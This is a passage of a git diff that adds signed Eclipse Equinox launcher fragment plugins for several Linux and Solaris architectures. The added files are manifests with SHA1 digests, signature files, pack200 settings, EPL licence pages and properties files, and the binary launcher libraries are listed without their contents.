b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..083ee10 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: lq3w1Ua6ozqjFlCF/x8zSDmiHsE= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: yZ9fu4cfBFCwoipPy+NEW0QWSnw= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: iZ4DqtxPWwDwfSajqw43heiOaGk= + +Name: launcher.gtk.linux.s390x.properties +SHA1-Digest: wQRjoaVKNurhFsTrt4kicWt5IQk= + +Name: about.html +SHA1-Digest: 2qoLi08hXqaqRFVXhhrJoHc9bbg= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/MANIFEST.MF new file mode 100755 index 0000000..156def7 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/MANIFEST.MF @@ -0,0 +1,28 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=linux) (osgi.arch=s3 + 90x)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.linux.s390x +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="1.0.0" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.linux.s390x;sing + leton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/co + ntributed/org.eclipse.equinox.launcher.gtk.linux.s390x;tag=v20110505 +Bundle-Version: 1.1.100.v20110505 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: launcher.gtk.linux.s390x.properties +SHA1-Digest: whNFhUnU8mZLm9koM7ijfbW8qCg= + +Name: eclipse_1407.so +SHA1-Digest: 2JgLreeesS+5WAHi2bYsQrHOR3g= + +Name: about.html +SHA1-Digest: +10GbQayJYlMl3AbClvrqVz4gCk= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/about.html new file mode 100755 index 0000000..985239a --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/eclipse_1407.so new file mode 100755 index 0000000..b069cdd Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/launcher.gtk.linux.s390x.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/launcher.gtk.linux.s390x.properties new file mode 100755 index 0000000..fcb4371 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/launcher.gtk.linux.s390x.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Linux s390x Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..c0bb57e Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..8e794d8 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: I8NNHz0VRBBccTp7kbsxqBatIFc= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: G/QFPx6ym1oISHZohiGSrtbEfd8= + +Name: launcher.gtk.linux.x86.properties +SHA1-Digest: 5BtD/vNtIvuyWlysuv6gC3ob3mk= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: jCulOpDYNiqBrFV3bMe2rs5oZwI= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/MANIFEST.MF new file mode 100755 index 0000000..084fb1b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=linux) (osgi.arch=x8 + 6)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.linux.x86 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.linux.x86;single + ton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.gtk.linux.x86;tag=v20110505 +Bundle-Version: 1.1.100.v20110505 +Bundle-ManifestVersion: 2 + +Name: launcher.gtk.linux.x86.properties +SHA1-Digest: ZZ3wfzRZQMXrro06Qu1LmyJvyU8= + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1407.so +SHA1-Digest: IMEIHtR+HyxVK0REEyjdStYM78o= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/eclipse_1407.so new file mode 100755 index 0000000..d4db678 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/launcher.gtk.linux.x86.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/launcher.gtk.linux.x86.properties new file mode 100755 index 0000000..122990b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505/launcher.gtk.linux.x86.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Linux X86 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..274b3e5 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..241dfe4 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: sr+dDNuMkySeOJRwiG7XL5tD1u4= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: M3z818JTo6Z0UQqFcebpFpwddKA= + +Name: launcher.gtk.linux.x86_64.properties +SHA1-Digest: q+PkqUwzPiV78FKnqpp1D3EP3LA= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: /lc5OyGVFrxOPOi259LgH2quG3I= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/MANIFEST.MF new file mode 100755 index 0000000..58aabd4 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=linux) (osgi.arch=x8 + 6_64)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.linux.x86_64 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.linux.x86_64;sin + gleton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.gtk.linux.x86_64;tag=v20110505 +Bundle-Version: 1.1.100.v20110505 +Bundle-ManifestVersion: 2 + +Name: launcher.gtk.linux.x86_64.properties +SHA1-Digest: F3xLFi7jsuw2uIczSxG47RIa+IQ= + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1407.so +SHA1-Digest: 8TsAvzyd2guwxIrVjvDCAMEesuE= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/eclipse_1407.so new file mode 100755 index 0000000..a10aabb Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/launcher.gtk.linux.x86_64.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/launcher.gtk.linux.x86_64.properties new file mode 100755 index 0000000..9b101ff --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/launcher.gtk.linux.x86_64.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Linux X86_64 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..24472ed Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..00425ec --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: 0hoLpz4Rn6UZg9EFl/Nb6AUCnaE= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: Mz8USD4klBWAYkBN+M3tei1PARI= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: sXVf3diVvlQvBj9dyvkdfjG334Q= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + +Name: launcher.gtk.solaris.sparc.properties +SHA1-Digest: rSGSpgK4BoqVhryGiW6Uv12CJA8= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/MANIFEST.MF new file mode 100755 index 0000000..946a5db --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=solaris) (osgi.arch= + sparc)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.solaris.sparc +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.solaris.sparc;si + ngleton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.gtk.solaris.sparc;tag=v20110505 +Bundle-Version: 1.1.100.v20110505 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1407.so +SHA1-Digest: gVXaSrYkZ7QDDXlAvLVq741ZXx8= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + +Name: launcher.gtk.solaris.sparc.properties +SHA1-Digest: 9wqPa0bgkIQlYz1QlW8atUmbhno= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/eclipse_1407.so new file mode 100755 index 0000000..245cb6a Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/launcher.gtk.solaris.sparc.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/launcher.gtk.solaris.sparc.properties new file mode 100755 index 0000000..17f4d5d --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.sparc_1.1.100.v20110505/launcher.gtk.solaris.sparc.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Sparc Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..5253dbb Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..1112198 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: FpIKZvJ7gSPfo87g+4eRq622/2I= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: o03+rJYrkW7K+u+px0Ft90nudyI= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: yK8il+E4/GK32MFJp+yZQktLirA= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + +Name: launcher.gtk.solaris.x86.properties +SHA1-Digest: Drno2HwkhGCc67gdjJXgB9A5YXc= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/MANIFEST.MF new file mode 100755 index 0000000..f366995 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=solaris) (osgi.arch= + x86)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.solaris.x86 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.solaris.x86;sing + leton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/co + ntributed/org.eclipse.equinox.launcher.gtk.solaris.x86;tag=v20110505 +Bundle-Version: 1.1.100.v20110505 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1407.so +SHA1-Digest: lUCTBtysjw+X4MWhdG0rpnBv95M= + +Name: launcher.gtk.solaris.x86.properties +SHA1-Digest: Za1kdbFBcIlT016aTQhCwwwI138= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

